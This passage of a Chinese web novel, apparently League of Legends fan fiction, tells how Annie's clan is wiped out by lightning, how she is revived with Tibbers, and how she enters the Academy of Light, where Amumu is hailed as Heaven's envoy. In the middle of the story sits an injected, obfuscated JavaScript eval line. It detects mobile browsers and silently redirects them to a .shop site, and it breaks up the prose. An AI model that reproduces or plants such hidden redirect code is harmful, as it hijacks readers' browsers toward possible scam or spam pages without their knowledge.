又是一道强横的闪电,带着劈开天地的气势,毫不客气地砸向安妮。金黄色的光芒闪烁,安妮只来得及看清深色眼眸中再也抑制不住的悲伤绝望。 “轰隆!” 是心中的防线倒下的声音。 和那个纤细的身影一起。 “滋滋……” 闪电带着火花的声音,麻木了她在雨中的双腿,却不及心中的窒息让人疼痛。 她第一次看见她领导族人的父亲跪下; 她第一次看见她顽强不屈的母亲跪下; 她第一次看见温柔却永远坚韧的凯德阿姨跪下。 在无数的哭喊和哀嚎中。 “嘶啦!” 是得意洋洋的闪电。 铺天盖地的雨,狰狞的爪牙紧紧抓住每一寸皮肤,誓要啃噬殆尽,草木,房屋,还有……人。 一条条面目可憎的金蟒扭曲着粗壮的身躯,张开血盆大口吞噬生命,鲜血来不及飞溅,就化为灰烬。 雷声呐喊着助威,只是顷刻间,面前似乎什么也没有了。 “凯德阿姨……” “爸爸……妈妈……” 安妮无措地跪着,面前是因疼痛弓起脊背,咳血不止的凯德。 到底是怎么了?为什么会这样? “爸爸!” “妈妈!” 面前什么也没有了,只有黑暗中不时闪现的金黄。紧握的手骨节分明,用尽全身力气,却也攥不住流逝的生命。 一片嘈杂中,凯德阿姨咳嗽的声音却是那么清晰,压抑的、痛苦的…… “嘶啦!” “嘶啦!” 安妮已经数不清这是第几条了。 “凯德阿姨……爸爸……妈妈……” 她只能一遍遍默念着,然而再也没有人从身后温柔地抱住她。 没有。 什么也没有。 “为什么……” “为什么!” 手中的温度终于冰冷,轻盈的光点升入空中,颤动、消散。 安妮颤抖着站起身,残破不堪的衣袖下,青筋暴起,灵力汇聚,带着极度的愤怒和不甘。 “为什么!” 为什么! 为什么,要让所有人粉身碎骨,灰飞烟灭! 为什么,要夺走她平静幸福的生活,她挚爱的亲人! 为什么! 凭什么! “嘶啦!” 这一次,闪电终于降临在安妮身上。 全身的疼痛和麻木蔓延开,五脏六腑被紧紧揪住撕扯,皮肉好像被啃咬割裂,手指痉挛扭曲,那种嵌入指甲的针刺感却没有任何缓解。膝盖似乎受到了猛烈的撞击,然后硬生生从腿上掰下…… 这就是凯德阿姨的感受吗…… 痛。 全身粉碎的痛。 心如刀绞的痛。 原来,她只是这么弱小的存在…… 甚至没有资格攻击,便倒在擂台。 “为什么!” “啊——!” “轰隆!” “嘶啦!” “砰砰……” “滋滋……” 是胜利的交响乐。 似乎在嘲笑她徒劳的呐喊。 “嘶啦!” 又是全身过电的剧痛。 安妮汇聚的灵力被打散。 “为什么……” 弱小。 安妮从来没有一刻,像这样后悔过。 哪怕掌握一点黑魔法,哪怕知晓一点超越天道的力量,她也不会输得这么狼狈,这么……一无所有。 “为什么……” ——因为弱小。 就这样吧。 一切都结束了。 恐惧的、不安的,都变成现实了。 在这一刻,梦碎、长眠。 可是不甘心…… 明明昨天,还是欢声笑语啊! 明明有过希望,和幸福啊…… 究竟是为什么? 所谓的黑魔法吗? 所谓的反抗天道吗? 所谓的…… 过往的种种在眼前重演,所有的情绪串联成一场戏剧,十三年的光阴浓缩在脑中。 她好像在那一瞬都明白了。 却只能带着无尽的仇恨和绝望死去。 “嘶啦!” 又是一道闪电。 混乱的思想终于停止。 耳边除却杂乱的轰鸣再无其他,眼前的白芒一闪而过。 闭上眼的最后一刻,安妮似乎看到了一切的一切。 一个旁观者还站在大雨倾盆的天空下,目睹全程。 他的发梢流着雨水,衣服已经湿透,可是眼中的光亮却抹不开,凝视着空荡荡的一切不知所措。不知是雨水,汗水,还是泪水,顺着脸颊麻木地流淌下去。 阿木木摊开手,里面好像还有另一个人的温度。 没有疼痛,没有伤害,这些雨滴落下来,只是冰冷了颤抖的心脏。 恐惧,绝望,和闪电一样砸在身上,但是只有精神的灼烧,阿木木知道那是置身事外的人唯一能够感知到的东西。 甚至安妮最后的呼喊,在他耳中都那么缥缈。 两个世界。 “缇啵丝……” 焦黑的泥土突然隆起,埋在地下的灰黄被拱上地面,一只娇小的毛绒玩具熊艰难地爬出来,还是滑稽可笑的模样。 在雨水的冲刷下皱了皮毛。 阿木木记得,谁要是敢弄乱提伯斯的呆毛,安妮是要生气的。 “缇啵丝?” 提伯斯环顾四周,只有被烧焦的杂草和满地土坑。 阿木木张了张口,很想告诉它,你的主人已经不在了。 “缇啵丝……?” 提伯斯无助的叫喊在雨声里渺小又清晰,它张望四周,和阿木木一样,迷茫,悲伤,疑惑越来越少。 它大概也明白了。阿木木这样想着。 不知道它是不是也很疑惑,为什么自己没有一起逝去,而要见证这一切。 阿木木伸出手,想拉着提伯斯的围巾带它离开。可是面前的玩偶却有着不同以往的固执。它挥开阿木木释放的善意,面对着荒芜的土地坐下,低头不知道在想什么。 “走吧……” 很轻很轻的,他的声音。 劝着提伯斯,也劝着他自己。 这是很久以前,就想到过的场景的…… “缇啵丝……” 面前的玩偶在慢慢变大,没有了安妮的魔法装饰,它褪去了洁白的绒毛,变回了黑黑的凶狠的模样,佝偻的脊背却仍旧显示着主人的脆弱。它的毛发被雨水打湿成一团一团,满身泥泞,那颗头几乎缩进脖子。 阿木木站着,看着黑熊长得比自己还高,眼睛越来越酸,越来越胀。 “契约没有了……你,自由了。” 我也自由了。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17119472|195949||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 我们都自由了。 “提伯斯……” 是粗壮雄浑的声音。安妮曾经最不喜欢提伯斯这样说话了,她会怪它粗着嗓子吓人。 “大笨熊,要乖乖的!” “不可以这样说话,会吓到木木的!” “你听话,我给你抓鱼吃……” …… 走吧,没什么可等的了。 那双沉重的腿,却像绑上了石头一样,就是挪动不了分毫。 走吧…… 有什么黑黑的东西从提伯斯身上渗出,飘到空中……阿木木模糊的视线里,突然充斥了许多妖异的雾气,纠缠着凝聚在一起。深不见底的黑在半空中被塑造成一个熟悉的身影,越来越浓的雾气甚至隔绝了雨滴…… 提伯斯转身,阿木木才看到,他的脸上有一道狰狞的伤疤。 黑色从他身上钻出,越来越多,越来越多,他棕黑的皮毛也越来越深,闪烁着幽暗的紫色。那道疤从右眼斜上方出现,贯穿右眼,延伸到嘴角,把他衬得越发可怖。虎牙渐渐变成獠牙,爪子也在不断伸长,寒芒乍现。 这是阿木木从来没见过的模样。 “提伯斯……” 不同于任何一次发音,深沉阴郁的呼唤仿佛是一句话,一阵钟声。阿木木不知道它说了什么,只是那紫黑色的瞳孔凝视的地方,多了一个熟悉的身影。 扭曲,凝聚,散去,聚集…… “安妮!” 没有回应。 冲刺到她面前的阿木木顿住。 不是光线的问题。 面前的少女,皮肤雪白,黑发贴在身上,柳叶眉,樱桃唇,双颊却没有一丝血色。她的眼睛是漆黑的紫,和提伯斯突变的瞳孔如出一辙。身上的连衣裙没有蕾丝,没有蝴蝶结,取而代之的是歪歪扭扭的符文,和若隐若现的黑色光芒。周身的雾气围绕着钻进去,阴沉的天空下充斥着不详的气息。 那双空洞无神的眼睛渐渐聚焦。 是茫然的。 阿木木不知为何,松了口气。 “我,还活着?” 安妮抬起纤细的双手,除了更加清晰的血管,没有任何伤痕。冰冷的雨水还在冲刷一切,焦黑的罪证却无法被抹去。 抬头,视野里,空空荡荡。 “木木……凯德阿姨……?” 安妮看见面前的人,还想问什么,可是突然又觉得,没有问的必要了。 这是她生活了十三年的地方,即使空无一物,即使面目全非,她也知道,就是这里。 一切都毁了。 她还活着。 “想哭,就哭出来吧。” 这里有可以掩饰泪水的雨,和可以拥抱的人。 “木木……” 麻木与怔愣之后,是海啸般翻涌的悲伤。那些回忆,那些情感,破笼而出,顷刻间充斥到四肢百骸。 没有思想,可是思想又好像被什么占据了,只有泪水,还可以带出一点憋在内心的剧痛。 安妮扑到阿木木身上,是冰冷的触感,和内心一样僵硬。 她在哭吗?脸上只有液体流淌的感觉。 “木木……木木!” 她想说什么都没了,她想说目之所及皆是灰烬,她想说她好难过,她想问未来该何去何从…… 恐惧、不安、孤独在苏醒,疯狂啃噬着残存的理智。可是她什么都说不出来…… 毁了,一切都毁了。 那是我的家啊! 我最爱的人啊! 我的幸福啊…… “呜……呜……啊!” 抽噎的野兽的嘶吼声在漆黑的荒原里响彻,即使越来越沙哑,也不曾停息。两个小人跪在暴雨中,拥抱彼此汲取温暖。 一旁的黑熊雕塑般矗立着,任由金黄的闪电照亮那道狰狞的伤疤。 …… “我要去光明学院。” 这是沉寂了整晚的少女说的第一句话。 光明学院,魔法的圣地。那里孕育了无数能人异士,从战斗到炼器,几乎无所不教。最重要的是,那里是能学到强大魔法的最好地点,即使是天道,日后也不无一战之力。 但是那里不接受黑暗族。 “爸爸妈妈说过,我不会黑魔法,不是真正意义上的黑暗族。只要我不使用任何黑暗的东西,就不会……” 安妮看着手里已经断裂的深渊权杖,一股悲凉油然而生,“把他藏起来,就不会被发现了。” 虽然,这是爸爸妈妈留下的唯一一件东西。 这是他们日日夜夜的心血。 “缇啵丝……” 变回玩偶的提伯斯抱住安妮的手,他脸上的伤疤闪了闪,权杖开始变得透明,压缩,最后化作黑点飞入提伯斯的身体。 安妮不想知道提伯斯究竟是什么,来自何处,又是如何复活了她。既然她没死,就会竭尽全力讨回属于自己的东西,家庭、族人、正义、未来…… “你还愿意跟着我吗?” 说起来容易,可是安妮心中清楚,她将要面临的是怎样的敌人。在绝对的实力面前,她甚至没有任何反抗的能力,对抗,更是天方夜谭。五百年的光阴,在天道面前转瞬即逝,她微不足道的愤恨,更是渺小得不值一提。甚至,它都不知道,有一个人试图反抗它。 蚍蜉撼树,螳臂当车也不过如此。 安妮绝不会对阿木木的离开感到任何不满。 “我不会离开。” 少年还是坚定的神色,头一次挺起胸脯直视面前微微颤抖的少女。 那双猫眼里,是一如既往的柔暖。 “你随时可以走……” “我不会离开。” 既然你还在,那我就还有守护的对象。 安妮没有接话。她走到一片焦黑的土壤面前,蹲下身,就着不大不小的坑挖下去,很快在其中找到了一个陈旧的陶瓷罐。安妮打开木塞,金灿灿的光芒射出,在阴沉的天空下十分耀眼。 那是一罐金币,装在破旧的粗布袋子里。 或许凯德阿姨早就设想过这一天的来临了。 她设想过,爸爸妈妈设想过,族人们设想过,甚至木木都可能设想过……只有她,永远无法想象这一刻的到来,因此毫无接受能力。 “走,我们……去圣城。” 娇小的身影缓慢站起,一手提起袋子,一手揽住小熊,迈着沉重的步伐向一片荒芜中走去。黑发少年紧随其后,在初升的红日下,两道身影被晨曦拉长。 白色蒲公英的绒絮没入幽深的丛林,和他们擦肩、飞远…… 5. 5 喧哗的街道,拥挤的人流,匆忙的脚步声和杂乱的吆喝声交织在一起,生活气息游荡在各个角落。小摊东一个西一个,商品琳琅满目;房屋鳞次栉比,风格迥异。 踏入圣城的那一刻,长衫小生和路边小贩的争论愈加清晰,兵器铺“叮叮当当”的敲打声节奏鲜明,火热的炉石炙烤着太阳,路上的行人还是快速移动着,目标明确。 安妮赶了一天的路,临到黄昏才来到圣城边缘,可是这里的情形却让她大吃一惊。落日的余晖洒在金黄的大地上,建筑物的影子越拖越长,暗示着夜晚的来临,可是人头攒动,热闹不减。 安妮闻到一股绵长带着肉香的味道,在如此混乱的集市中清晰可辨,挑逗着饥饿的肠胃。 她情不自禁地快步追上去。 是一家快要打烊的包子铺。 老板娘正在收拾蒸笼,那香味带着乳白醇厚的雾气直往安妮鼻子里钻。她抬头,被面前的女人惊住了。 这是一只优雅成熟的狐狸。 两只大大的毛茸茸的狐耳竖在头顶,微微抖动。浓密纤长的睫毛下,桃花眼眯起,波光潋滟,含情脉脉。她的眼角被熏出绯红,一颗泪痣不偏不倚,烘托出三分柔弱妩媚。最美的是琼鼻下的樱桃小嘴,娇艳欲滴,弧度掌握在欲拒还迎的羞涩。 见安妮抬起头不说话,那双专注的眸子望过来,晶莹闪耀的瞳孔中倒映出小小的影子。 “小朋友,想吃包子吗?” 恬淡温柔却富有磁性的声音,没有刻意的引诱,清纯又诱惑。 安妮被蛊惑一样点头。 她过了好一会儿才想起来要给钱。正想问价格,美女店主素白的芊芊细手已经装起两个又白又大的包子递给安妮。 “正好还剩两个,就送给你了,不要被其他小朋友知道了哦~” 略带撒娇和分享秘密的语气,配上俏皮的眨眼,让安妮瞬间红了脸。 “谢、谢谢……” 安妮双颊绯红,觉得接过的包子滚烫极了。 她好温柔…… “你还不走吗?发什么呆呢?” 美女姐姐已经转过身,又开始忙碌起来。 “我,我想问问这里有没有可以歇脚的地方……” 安妮心慌意乱,下意识地就说出了自己的打算。 “歇脚?”美女狐狸顿了顿,又开始忙碌,“小妹妹,你有钱吗?” “有的……” “唔……这样啊……那你去找悦来客栈吧,往前直走,第三个路口右转就是。”美女狐狸指了指方向,“告诉那里的副掌柜阿若盖特,就说你是阿狸叫去的就行。” “阿狸?姐姐你叫阿狸吗?” “是的哦,他们都这样叫我。” “阿狸姐姐……可以这样叫你吗?——我叫安妮,光明的意思。” “当然可以。安妮宝贝,我们很快会再见的。” “那……再见。” 安妮认真地挥手道别,阿狸放下蒸笼,也缓慢地挥了挥手。 安妮的眼神有一瞬间空洞,低头收起那些残存的回忆:这个像极了凯德阿姨的人。 她顺着阿狸指的方向走去,天渐渐下沉。路上的小贩都收了东西,茶楼酒馆里还觥筹交错,人影摇晃,声音只多不少,只大不小。 “下次酒钱还不结清,有你好受的!”一个张扬英气的声音利剑般传来,门口走出来一个与之不相符的肥硕身躯。 安妮的鼻子里突然涌入烈酒的香味,呛得她咳嗽。面前歪斜的人影抱着一个圆圆的大桶走来,一边走一边嘟囔着:“让让,嗝……让让……” 这酒嗝夹杂着谷子大豆的发酵味道,差点没把周围的人熏晕过去。 安妮立刻拉着阿木木侧身。 在一众人的目送下,那个浑身带着酒香的胖墩甩着两条大胡子消失。 “看什么看?人都走了!”那个声音的主人终于出来了。长发飘飘,在朦胧的灯光下显得清冷坚硬。一袭水袖如芭蕉叶展开,手腕纤细却不失力道。她穿着前短后长的反光衣裙,外套银白透着刀光,内里的打底衫紧致诱惑。 是一个完全不同于阿狸姐姐的女强人。 “你谁?打尖还是住店?” 那双银白色的眼眸射过来,安妮瞬间感觉到寒意丛生。 她小声地回答:“住店……请问,阿若盖特在吗?” “我就是,找我什么事?” 安妮看着面前干练的副掌柜,好奇阿狸姐姐是怎么认识她的。 “阿狸姐姐让我告诉你,我……” “行了,知道了,你跟我来吧。”阿若盖特举手一挥,止住安妮的话,皱眉叫她跟上。她并不在意自己的话被听了多少,只是一边走一边抱怨,“一天天的发善心,什么都往客栈捡……” 安妮觉得有些尴尬。 “三十文,现金还是银票?” “现金……” 阿若盖特推开一扇门,四处看了看,满意地转身。似乎才发现安妮只带着阿木木进了客栈,她问道:“你大人呢?不是一起的?” “不是……” 安妮以为还需要解释,好在阿若盖特不再说什么。她把一枚金币接过,翻来覆去看了看,面无表情,吓得安妮怀疑自己给了□□。 “没事别拿那么多金币在身上,财不外露,你大人没教过你?出了这客栈我可保不了你。” 她不知道从哪里摸出来一个袋子,叮叮当当晃了一下,扔给安妮:“这些就当找的钱,你那些金币如果需要换现金,明天去柜台找我。记住了,十点之前我不在。” 说完也不等安妮反应,抱臂走了。 安妮看着阿若盖特远去的身影,心里一阵酸涩。 她没想到初来乍到,就会遇到这么多好人。 “木木,我们洗漱洗漱休息吧。” 没有凯德阿姨准备的睡衣,她只能和衣而眠。也没有故事,这个夜晚注定宁静。 阿若盖特找的是两张床的房间,并不宽敞,但是各有一个桌子和柜子,床边还有挂衣服的架子。安妮走到窗户边,远远望下去,是安静的巷子。 那些热闹可能也就属于夜晚的酒馆吧……她关上窗,房间里更安静了,也开始变得狭小。 安妮躺上床,望着棕色的天花板发呆。 提伯斯在被窝里动来动去,毛发痒得她睡不着。 “木木,我想凯德阿姨。” 空荡荡的房间里,安妮清脆的声音碰撞到墙壁上,弹回地板,又落上天花板。 抱着被子的阿木木沉默着,可是安妮知道他没睡。 就是直觉。 窸窸窣窣的声音,不知道是谁在挪动。 “你说我会被录取吗?” “会的。” 快速的、坚定的回答。 安妮想起自己的魔法,冰灵力。 她已经好久没有用过了。曾几何时,那只是抓鱼的工具,最值得夸耀的也就是她曾经差点抓住一株利维坦之灵。 好像就是从那天起,认识了提伯斯吧? 安妮伸出手,在黑暗中,慢慢握紧拳头,掌心却没有熟悉的冰凉。 那凉意跑到了脸上。 顺着眼角滑落。 耳朵上面有点痒。 安妮慌忙地用手擦去,吸了吸气,担心不远处的人发现异常。 阿木木似有所觉,但是他没有询问,也没有起身查看。他知道,她是多不希望有人看见自己的脆弱。 一夜无话。 第二天,晨曦刚刚钻入狭小的房间,安妮就起身了。她的脸上还有一点黏黏的感觉,但用手抹了抹,便消失了。安妮没有在意镜子里的自己眼角的干涩,只是简单掩饰了一下哭到睡着的痕迹。 她收起那袋金币,洗漱好,带着阿木木直接去光明学院。 光明学院每年有一次录取考试,之后的时间也可以有人前去挑战,凡是通过的人都可以当做插班生录取。 安妮是一定要做那个插班生的。 大门似乎没有人,但应该有法阵看守。安妮仰头,光明学院四个大字漂浮在空中,和日光交相辉映,神圣而庄严。字符之下是鎏金的大门,看起来似乎十分高调,但这纯金的色彩给人毫不掩饰的张扬,另一种高傲但令人舒适的感觉扑面而来。 安妮走进去,果不其然,门边的哨岗里走出一个优雅的少女。 她的金色长发虽然没有那么耀眼,但给人舒适亲切的感觉。纯白长裙遮住了脚,能看到若隐若现的金色草鞋。柔美的精灵,蓝色水晶湖般纯粹的眼睛,安抚人心的微笑。 多么神圣的地方! 安妮暗忖。 “你好,请问你们是来?” “我……来测试……” 安妮在淡然的少女面前有些紧张。 “请跟我来。” 少女礼貌地鞠了一躬,转身带路。安妮看见她长发里的金色耳环垂在肩膀上,纹丝未动。 这段路不远。 四周是翠绿草丛和纯白小花,偶尔遇到一棵分开岔路的高大树木。地面没有一片落叶,一尘不染的菱形白色地板上镌刻着不同的纹路,组合在一起形成一幅幅相同的图案,似乎是神明子的花瓣。远处有许多高楼大厦,都是闪着金光的,如此耀眼、夺目。 “请依次把手移到水晶球上,释放自己的力量。” 面前是一张檀木做的小圆桌,四条桌腿纤细弯曲,漏斗形支撑着桌面唯一的水晶球。这颗水晶球足足有提伯斯的脑袋那么大,整体像弹珠一样透明。表面光滑带着星光,内里似乎有很多水晶碎片,折射出更加深邃的光芒。 安妮眼中闪过一丝惊艳,率先把手放了上去。就像是摸到了一块冷冻千年的寒冰,那寒意沿着神经和血脉攀附到骨头上,一直蹿上天灵盖。虽然不痛,但让安妮本能地想要逃离。 安妮调动冰灵力,但似乎失败了。 “别紧张,很快就好。” 收回手,看了看面前毫无反应的水晶球,安妮忍着颤栗再次摸上去。冰灵力却似乎被冻结了,甚至没有一点点魔法的波动在四周散开。 引路的少女有些怔愣。 她不是没遇到过惊讶的,紧张的,甚至是极度害怕的,但至少这些人还是可以在水晶球的探测下顺利评估出属性和能力。 安妮这样的表现就像是普普通通的人类一样。 但没有人会顶着得罪加丁校长的压力来骗人的。 至少迄今为止她从没遇到过。 “发生了什么?我这是遇到新同学了?” 明媚温柔的声音打破了死寂和尴尬,引路的少女暗暗松了口气,侧身让开观察位置。 走来的是一个优雅成熟的女人。 棕黑色波浪长发披在肩膀以下,弧度掌握在美丽不失端庄。一身黑白相间的学院制服,黑色皮裙下,一双纤细的腿踏着严谨的长靴。安妮微微仰头,首先看到了一副金色圆框眼镜,镜片反射着智慧的光芒。她微微抿唇,笑容有恰到好处的距离。 “菲缇老师,这是来面试的新生。” 是不是新同学还不一定。 “你似乎有些紧张?” “还……还好……” 被居高临下地看着,安妮更紧张了,尤其是她不知道自己的力量到底哪里出了差错。内心的慌乱在如此犀利的眼神下无处安放,安妮拽紧了衣角。 “别紧张,水晶球带着……特殊的觉察力,让你害怕也很正常。你是什么属性的灵力?” “冰。” “怪不得我感觉这么亲切。” 菲缇温和一笑,摘下手套递给一旁引路的少女,然后握住安妮出汗的右手,将它展开,慢慢覆盖在水晶球上。 一边是再一次试图深入骨髓的严寒,一边是温暖柔和的掌心,安妮如坐针毡,脊椎骨都开始发麻了。但好在,面前的水晶球逐渐亮了起来,变成了一块晶莹的冰,接着蓝色自底部蔓延,一直攀爬到覆盖半颗球才停止。 “真是极好的天赋,我果然没有看错你。虽然这样的力量比不上阿狸,但假以时日,你一定可以成为大法师的。” 安妮有些激动,她更加不知所措了。 “那么,你也是来参加面试的吗?” 菲缇看向一直沉默的阿木木。 “我?”阿木木眼中闪过迟疑,“抱歉,我似乎没有觉醒灵力。” “试一试总归没有麻烦。” 阿木木迟疑地将手放上去,没有感觉。水晶球中心没有出现任何图案,但光芒却瞬间充满,闪现出耀眼的光束。 菲缇眼神一缩。 加丁那个老东西真是捡到宝了。 “加丁校长恐怕很快就会回来了,请你在这里稍等片刻。” “这个孩子很合我眼缘,以后就让我来教她吧。白莲,麻烦你待会儿去登记处一趟,我会马上把信息传给你。至于这里的情况,还请你转达给加丁校长。” “好的,菲缇老师。” 引路的少女并不知道这光芒意味着什么,她只是露出羡慕的眼神看了安妮一眼。 这是一个温柔且很有能力的老师。 安妮和阿木木道别,庆幸自己居然一来就遇到这么多的好人。 “你叫什么名字?唔,还有年龄,家庭住址以及家庭背景……你的爸爸妈妈怎么没和你一起来呢?” 菲缇带着安妮走上一条狭窄的小路。 “我叫安妮,今年十三岁了,我……我没有家,我也没有爸爸妈妈……” “抱歉,问到你的伤心处了……那你的学费恐怕需要赊账?需要我帮忙吗?光明学院其实很重视人才的,每年也会有很多补助,虽然你恐怕要在这里修习十年,但……” “我有学费……”安妮低着头,“我的家人几天前都去世了,我……” “所以,你来这里学习的目的是什么?活下去?” “不……他们是被人杀死的,我想报仇……” 安妮越说越小声,不知道是因为这虚无缥缈的目标还是担心被这个善良的老师误解。 她没有注意到菲缇亮了一瞬的眼睛。 “可是孩子,入学申请书上可不能这样写。”菲缇停下脚步,蹲下身和安妮平视。 那双眼睛是深邃的紫色,眼眸深处的幽光让人沉醉:“告诉我,你的敌人强大吗?” 安妮重重地点头。 “你需要力量。” 安妮湿了眼眶,仍旧坚定地点头。 “我会帮你,但是恐怕加丁校长不会让你如愿。每个人都有不可告人的经历,我相信我和你在本质上是一样的。如果你愿意,做我的学生,让我给你力量,好吗?” 深如紫罗兰的眼眸中带着坚定与承诺,让安妮不自觉地信任。 “谢谢你……菲缇老师……” “叫我菲缇吧,我喜欢和学生做朋友。” 菲缇抹去安妮眼角的泪水,嘴边的笑容越发真诚。 安妮正式进入了光明学院。由于无法将真正的入学原因说出来,安妮的入学志愿书是菲缇悄悄找人代写的,理由无非是发挥自己的才能,想要成为一个有用的人。 她被分入了魔法A班,因为据菲缇所说,她的天赋其实很好,超过了百分之八十的学生。不过很可惜,这样的天赋并不代表她非常特殊。相反,自从那天面试之后,安妮再也没有和阿木木取得过联系。按照菲缇的说法,阿木木似乎才是最特殊的那个,万中无一的特殊。 “你真的从来没了解过他吗?” 安妮懵懂地摇头。 她对阿木木的身世一无所知,甚至不知道他有什么特殊的力量。只是菲缇的重视让她感到不安,事情似乎没有那么简单。 直到那一天,安妮才感受到,何为天壤之别。 入学第二天,还没来得及上第一节课,安妮收到了通讯器上的置顶标红消息:所有人前往光明神殿,有重要消息公布。 是什么消息?安妮不知道。 但一丝不安萦绕在心间。 穿过百花齐放的小径,根据指路牌的提示往神殿赶去。安妮在路上遇到了许许多多穿着白色校服的学生。可是拥挤的人潮中,永远看不到那个纤长单薄的身影。 光明学院的学生不多,一个班近二十个学生,总共也就十几个班。加上一些特殊的学科 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一个苍老沉稳的长袍老人挺直了身板走上正东高台,太阳斜照过来,光芒似乎正好打在他身上。仍旧是纯白的长袍,金黄色的纹路,手握黄金权杖,上面漂浮着一颗巨大的菱形水晶。 “自源大陆诞生以来,野兽肆虐、疫病横行,世界动荡不安,我们困居一隅。天道怜悯,赐下灵力,拯救我们于危难之中。而今,世界的角落仍旧遍布着恐怖的黑暗:隐秘势力蠢蠢欲动;地区犯罪屡禁不止;神器将现混乱初显……和平、安宁,将在何处?难道,我们只能如蝼蚁般消逝吗?……——不。天道再一次,为我们带来了希望。神使降临,说明天道还没有放弃我们,我们,也并没有被放弃……” 高台上,加丁热泪盈眶,激动地举起手。 死寂蔓延开,在淡淡的不安中,是跃动的希望。 可是这一次,再次有一个人,置身事外。 安妮看着光明的一切,四肢发冷。 她真的可以在这里……完成自己日思夜想的目标吗? “他将代表天道,俯瞰众生,将这荒芜与恐惧抹平;他将代表天道,伸张正义,将黑暗邪恶扼杀在摇篮。他将代表天道,天道的意志!——神明。” “让我们一起,恭迎神使的降临!” “恭迎神使降临!” “恭迎神使降临!” 山呼海啸般的呐喊在耳边炸开,安妮眼中的泪水终于可以毫无掩饰地流下。 她看见那个人还是一脸淡然,迈着沉稳的步伐走向光明充斥的神坛。人们的欢呼越来越大声,在他立定在中心的那一刻达到顶点。狂热、崇拜,他们的灵魂跪倒一片,让安妮难以站立。 天道抹杀了她的一切,天道的神使在这里接受祭拜。 她在这里,一句话都说不出口。 原来,还有比亲眼看见幸福被摧毁更加悲恸的…… 窒息。 眼前的一切都模糊起来,耳边嘈杂的声音已经分辨不清。 冰冷僵硬的躯体一动不动,没有任何感知。 这个世界好像生生把自己撕下,画成一副幸福虚妄的图,然后用喜悦兴奋填补着血淋淋的唯一真实的窟窿,——那是她留下的形状。 “安妮,你好像不太高兴。” 菲缇看着面前寂静的湖水,深沉的眼眸中染上薄薄的湛蓝。 安妮在湖边坐了很久了。 这个世界的人有着五百岁的寿命,可是很少有人会为身边的景色停留。时间或许并不算少,但他们永远不会停下,放空思绪。 是的,放空思绪。 这双黑色的眼眸里充满空洞。 “菲缇老师,当你发现……你最好的朋友,可能是杀死你亲人的帮凶……你会怎么做?” “很好很好的朋友吗?” 安妮眼中涌起酸涩的感觉,她想说“不是”,但这骗得到谁? 窒息的感觉再次包围上来。 “有的事情,并不是没了谁,就会停止的。” “有的人,也不是想做到什么,就能做到的。” “他从来没有想过害你,这就够了。” 这就够了吗? 安妮一遍遍问着自己。 这就够了吗? …… 够了。 他没有在你面临灭顶之灾的时候逃避,也没有在你彷徨无助的时候离开,甚至从来没有选择过放弃。 这就够了。 “可是……” “安妮,发生过的事情都已过去,我们要看的是可以自己掌握的未来。你离自己的目标还很远,纠结无谓的事情,只会绊住你前进的脚步。”菲缇坐到安妮旁边,没有看她的眼睛,“也许这些风景可以让我帮你看,你的时间更加不能浪费,不是么?” “……” 安妮感知着身旁落座的人的体温,心中似乎有团雾气在散开。 “思考不出来的事情先放一放,将能把握的先把握住更重要。” “谢谢你,菲缇老师。” “乖孩子,去吧,你的路还很长。” 菲缇看着安妮再次步履轻盈地离开,微勾起的笑容越发真诚。 直至那个小小的身影消失,她拍拍衣裙,缓缓地站起身,再也没给过平静的湖水一个眼神。 光明学院的课程安排很自由,是自行选择,每周至少五节,上不封顶。课程之间唯一的禁令就是禁止武器类和魔法类兼修。 安妮的体质一直不算好,她也深刻地知道只有魔法可以帮助自己实现目标,因此一开始,她就选择了不缺席任何一节魔法理论课,魔法实战课,以及驯兽课。 提伯斯是什么,她还不知道,也没有精力知道。由于光明学院的法阵太过密集,提伯斯已经陷入沉睡,带着深渊权杖一起隐匿在安妮的房间里。 也许了解驯兽课可以知道。 只要陷入忙碌,就不会想到别的,也就不会纠结太多了。 只是想到,唯一可以依靠的人最终会与自己分道扬镳,心中仍旧有着抑制不住的沉重。 这份沉重在阿木木找来的时候,更加压抑得让人难以喘息。 安妮学习很努力,性格也很孤僻。 大概是在和族人们相处的时候就对自己的心直口快有所了解,她并不强求与任何人的友谊。单间宿舍的制度更是让她形单影只到了极点。 她不羡慕别人的欢声笑语,反而热爱深夜静坐窗边的孤独。有时会突然忘记身边的人已经不在,但是到嘴边的搭话已经能够熟练地咽下去。 这一次没有。 “你来干什么?” 安妮想退后,想露出嘲讽的神情,想满怀恶意地叫他一句“神使大人”,但她做不到。曾经设想过的无数次见面在这个湖边重演,所有思考过的动作却都在顷刻间被遗忘。 “安妮……” 仍旧是淡然的语气,让人有春风拂面的感觉。 这就是神使吗? 安妮走神,或者说,只能走神。 “对不起。” “你不用和我说对不起。” “……” 可怕的沉默在蔓延,和湖面一样难以打破。 安妮仰头,刺眼的日光再一次模糊了视野。她想起了很久以前和阿木木躺着睡觉的情形。她也是这样抬头,一眼把太阳装进眼眸,嘲笑着身边的人脆弱的视力。 “时间不早了,你快回去吧……加丁校长还等着呢。” 神使这个身份肯定很忙吧,以后大概都不用再见了。 “这周六,我在这里等你。” 安妮没回答,率先一步离开。 阿木木看着面前瘦小的背影,眼中的悲伤终于有了实质。 轻微的风吹拂着湖面,波光破碎了一个苍老的身影。阿木木转身,不远处的加丁拄着权杖,捋着大把的白胡须,站在原地。 微笑的。 “加丁校长。” 阿木木仍旧礼貌而疏远的点头,一点也没有神使与神谕者之间应有的亲密。 加丁也不强求,微微点头,轻抬权杖做出邀请。 帅气的少年和矍铄的老者漫步过湖边,相携的倒影却正好被蜻蜓点水的树枝劈成两半。 6. 6 “魔法,来自天道的恩赐,却蕴含于心灵深处。只有对天足够真诚,才能将心中的力量真正发挥出来。这是我们要上的第一课。在这节课里,我们不学怎么使用魔法,也不探究任何灵力,我们,练心。” 讲台上的老师还在慷慨激昂地讲述魔法的由来:如何帮助英雄们逃离苦难;如何帮助勇者们披荆斩棘;如何帮助正义之士铲除邪恶…… 